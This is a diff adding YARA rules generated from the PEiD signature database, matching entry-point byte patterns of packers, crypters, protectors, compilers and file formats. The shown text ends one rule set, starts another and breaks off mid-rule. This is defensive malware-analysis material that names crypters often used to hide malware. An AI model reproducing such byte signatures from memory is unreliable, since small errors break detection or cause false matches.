+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+    condition:
+        $a
+}
+
+rule PEiD_03546_yzpack_V1_12____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03547_yzpack_V1_12____UsAr_
+{
+    meta:
+        description = "[yzpack V1.12 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00}
+    condition:
+        $a
+}
+
+rule PEiD_03548_yzpack_V2_0____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0 08 AC FF 54 24 08 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 99 BD ?? ?? ?? ?? FF 65 28}
+    condition:
+        $a
+}
+rule PEiD_03549_yzpack_V2_0____UsAr_
+{
+    meta:
+        description = "[yzpack V2.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {25 ?? ?? ?? ?? 61 87 CC 55 45 45 55 81 ED CA 00 00 00 55 A4 B3 02 FF 14 24 73 F8 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 1F B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3C AA EB DC FF 54 24 04 2B CB 75 0F FF 54 24 08 EB 27 AC D1 E8 74 30 13 C9 EB 1B 91 48 C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_03550_ZCode_Win32_PE_Protector_v1_01_
+{
+    meta:
+        description = "[ZCode Win32/PE Protector v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_03551_ZealPack_1_0____Zeal_
+{
+    meta:
+        description = "[ZealPack 1.0 -> Zeal]"
+        ep_only = "true"
+    strings:
+        $a = {C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4}
+    condition:
+        $a
+}
+
+rule PEiD_03552_ZipWorxSecureEXE_2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE 2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+    condition:
+        $a
+}
+
+rule PEiD_03553_ZipWorxSecureEXE_v2_5____ZipWORX_Technologies_LLC__h__
+{
+    meta:
+        description = "[ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+    condition:
+        $a
+}
+rule PEiD_03554_Zortech_C_v2_00_1988__1989_
+{
+    meta:
+        description = "[Zortech C v2.00 1988, 1989]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+    condition:
+        $a
+}
+
+rule PEiD_03555_Zortech_C_v3_0_
+{
+    meta:
+        description = "[Zortech C v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_03556_Zortech_C_
+{
+    meta:
+        description = "[Zortech C]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+    condition:
+        $a
+}
+
+rule PEiD_03557_Zurenava_DOS_Extender_v0_45__v0_49_
+{
+    meta:
+        description = "[Zurenava DOS Extender v0.45, v0.49]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 56 FC F3 A5 5F E9}
+    condition:
+        $a
+}
+
+rule PEiD_03558_______EXE______________________________
+{
+    meta:
+        description = "Packer convert base64 to ascii wrLDmMK+wqjCuMOzRVhFw47DhMK8w77DgMKmwrDDs8K7w7ogwrvDocOUwrHDl8KowrDDpiAtPiDCs8OCwr7CrcOowro=" 
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E4 53 56 57 33 C0 89 45 E4 89 45}
+    condition:
+        $a
+}
+
+rule PEiD_03559_____EXE___________v1_0_________
+{
+    meta:
+        description = "Packer convert base64 to ascii wr3DjMOWw7dFWEXDjsOEwrzDvsOAwqbCsMOzw4bDtyB2MS4wIC0+IMK9w4zDlsO3"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_03560____v1_0____Li_Jianjun_
+{
+    meta:
+        description = "[convert base64 to ascii w4nDvg== v1.0 -> Li-Jianjun]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44}
+    condition:
+        $a
+}
+
+rule PEiD_03561____________v1_0_________
+{
+    meta:
+        description = "[convert base64 to ascii w47DhMK8w77DgMKmwrDDs8OGw7cgdjEuMCAtPiDDkMOtw5TDhg==]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+    condition:
+        $a
+}
+rule PEiD_03562_____EXE__________yy66_
+{
+    meta:
+        description = "[convert base64 to ascii w5DDhMOGw6ZFWEXCusOPwrLCosOGw7cgLT4geXk2Ng==]"
+        ep_only = "true"
+    strings:
+        $a = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+    condition:
+        $a
+}
+
+rule PEiD_03563__________2_2b____Shoooo_
+{
+    meta:
+        description = "[convert base64 to ascii w5zCpcKxwrHDkcK5w4vDtSAyLjJiIC0+IFNob29vbw==]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a
+}
+
+rule PEiD_03564__________2_2b_Anti____xiaohui_
+{
+    meta:
+        description = "[convert base64 to ascii w5zCpcKxwrHDkcK5w4vDtSAyLjJiIEFudGkgLT4geGlhb2h1aQ==]"
+        ep_only = "true"
+    strings:
+        $a = {EB F4 11 55 07 8B EC B8 14 80 0E 03 E8 D1 09 00 0A 57 33 D2 FF 75 18 B9 E8 1F DE 16 81 C0 8D BD EE 7F FB F8}
+    condition:
+        $a
+}
+/*
+  YARA rules generated with peid-userdb-to-yara-rules.py
+  https://DidierStevens.com
+  Use at your own risk
+
+  File: userdb.txt
+  --exclude: exclude.txt
+  --eponly: all
+  --pe: True
+  Generated: 2015/02/15 12:03:34
+*/
+
+import "pe"
+
+rule PEiD_00001__EP__ExE_Pack__V1_0____Elite_Coding_Group_
+{
+    meta:
+        description = "[!EP (ExE Pack) V1.0 -> Elite Coding Group]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00002__EP_ExE_Pack__V1_0____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00003__EP_ExE_Pack__V1_4_lite_b2____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite b2 -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00004__EP_ExE_Pack__V1_4_lite_final____6aHguT___g_l_u_k_
+{
+    meta:
+        description = "[!EP(ExE Pack) V1.4 lite final -> 6aHguT & g-l-u-k]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 61 B8 ?? ?? ?? ?? FF E0 55 8B EC 60 55 8B 75 08 8B 7D 0C E8 02 00 00 00 EB 04 8B 1C 24 C3 81 C3 00 02 00 00 53 57 8B 07 89 03 83 C7 04 83 C3 04 4E 75 F3 5F 5E FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 46 12 D2 73 EF 02 D2 75 05 8A 16 46 12}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00005__EPack_1_4_lite__final____by_6aHguT_
+{
+    meta:
+        description = "[!EPack 1.4 lite (final) - by 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00006__EPack_V1_4_lite_final____6aHguT_
+{
+    meta:
+        description = "[!EPack V1.4 lite final -> 6aHguT]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B C0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00007__pirit_v1_5_
+{
+    meta:
+        description = "[$pirit v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? 5B 24 55 50 44 FB 32 2E 31 5D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00008___PseudoSigner_0_2__Yoda_s_Protector_1_02______Anorganix_
+{
+    meta:
+        description = "[* PseudoSigner 0.2 [Yoda's Protector 1.02] --> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 90 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00009__BJFnt_v1_1b_
+{
+    meta:
+        description = "[.BJFnt v1.1b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00010__BJFnt_v1_2_RC_
+{
+    meta:
+        description = "[.BJFnt v1.2 RC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00011__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00012__BJFnt_v1_3_
+{
+    meta:
+        description = "[.BJFnt v1.3]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00013__NET_DLL____Microsoft_
+{
+    meta:
+        description = "[.NET DLL -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00014__NET_executable____Microsoft_
+{
+    meta:
+        description = "[.NET executable -> Microsoft]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 5F 43 6F 72 45 78 65 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 00 00 00 FF 25}
+    condition:
+        $a
+}
+
+rule PEiD_00015__NET_executable_
+{
+    meta:
+        description = "[.NET executable]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00016_32Lite_v0_03a_
+{
+    meta:
+        description = "[32Lite v0.03a]"
+        ep_only = "true"
+    strings:
+        $a = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00017_3DMark_Database_file_
+{
+    meta:
+        description = "[3DMark Database file]"
+        ep_only = "false"
+    strings:
+        $a = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+    condition:
+        $a
+}
+
+rule PEiD_00018_624__Six_to_Four__v1_0_
+{
+    meta:
+        description = "[624 (Six to Four) v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00019__MSLRH__v32a____emadicius_
+{
+    meta:
+        description = "[[MSLRH] v32a -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00020_A_program_by_Jupiter____
+{
+    meta:
+        description = "[A program by Jupiter ..]"
+        ep_only = "true"
+    strings:
+        $a = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00021_A3E__TXT2COM__
+{
+    meta:
+        description = "[A3E (TXT2COM)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 33 C0 50 BE ?? ?? 81 C6 ?? ?? B8 ?? ?? 8E C0 BF ?? ?? B9 ?? ?? F3 A5 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00022_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00023_Aase_Crypter___by_santasdad_
+{
+    meta:
+        description = "[Aase Crypter - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 A0 3E 00 10 E8 93 DE FF FF 68 F8 42 00 10 E8 79 DF FF FF 68 00 43 00 10 68 0C 43 00 10 E8 42 DF FF FF 50 E8 44 DF FF FF A3 98 66 00 10 83 3D 98 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 1C 43 00 10 6A 00 E8 4B DF FF FF 68 2C 43 00 10 68 0C 43 ?? ?? ?? ?? DF FF FF 50 E8 0E DF FF FF A3 94 66 00 10 83 3D 94 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 38 43 00 10 6A 00 E8 15 DF FF FF 68 48 43 00 10 68 0C 43 00 10 E8 D6 DE FF FF 50 E8 D8 DE FF FF A3 A0 66 00 10 83 3D A0 66 00 10 00 75 13 6A 00 68 18 43 00 10 68 58 43 00 10 6A 00 E8 DF DE FF FF 68 6C 43 00 10 68 0C 43 00 10 E8 A0 DE FF FF 50 E8 A2 DE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00024_ABC_Cryptor_1_0___by_ZloY_
+{
+    meta:
+        description = "[ABC Cryptor 1.0 - by ZloY]"
+        ep_only = "true"
+    strings:
+        $a = {68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00025_ACE_Archive_
+{
+    meta:
+        description = "[ACE Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? 2A 2A 41 43 45 2A 2A}
+    condition:
+        $a
+}
+
+rule PEiD_00026_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00027_AcidCrypt_
+{
+    meta:
+        description = "[AcidCrypt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00028_ACProtect_1_09g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect 1.09g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00029_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70}
+    condition:
+        $a
+}
+
+rule PEiD_00030_ACProtect_1_4x____RISCO_soft_
+{
+    meta:
+        description = "[ACProtect 1.4x -> RISCO soft]"
+        ep_only = "false"
+    strings:
+        $a = {47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00031_ACProtect_V1_3X____risco_
+{
+    meta:
+        description = "[ACProtect V1.3X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 50 E8 01 00 00 00 75 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00032_ACProtect_v1_41_
+{
+    meta:
+        description = "[ACProtect v1.41]"
+        ep_only = "true"
+    strings:
+        $a = {60 76 03 77 01 7B 74 03 75 01 78 47 87 EE E8 01 00 00 00 76 83 C4 04 85 EE EB 01 7F 85 F2 EB 01 79 0F 86 01 00 00 00 FC EB 01 78 79 02 87 F2 61 51 8F 05 19 38 01 01 60 EB 01 E9 E9 01 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00033_ACProtect_V1_4X____risco_
+{
+    meta:
+        description = "[ACProtect V1.4X -> risco]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 7C 83 04 24 06 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00034_ACProtect_v1_90g____Risco_software_Inc__
+{
+    meta:
+        description = "[ACProtect v1.90g -> Risco software Inc.]"
+        ep_only = "true"
+    strings:
+        $a = {60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00035_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00036_ACProtect_UltraProtect_1_0X_2_0X____RiSco_
+{
+    meta:
+        description = "[ACProtect/UltraProtect 1.0X-2.0X -> RiSco]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00}
+    condition:
+        $a
+}
+
+rule PEiD_00037_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+    condition:
+        $a
+}
+
+rule PEiD_00038_ActiveMARK_5_x____Trymedia_Systems_Inc___h__
+{
+    meta:
+        description = "[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)]"
+        ep_only = "false"
+    strings:
+        $a = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+    condition:
+        $a
+}
+
+rule PEiD_00039_ActiveMARK_TM_
+{
+    meta:
+        description = "[ActiveMARK[TM]"
+        ep_only = "true"
+    strings:
+        $a = {79 11 7F AB 9A 4A 83 B5 C9 6B 1A 48 F9 27 B4 25}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00040_AdFlt2_
+{
+    meta:
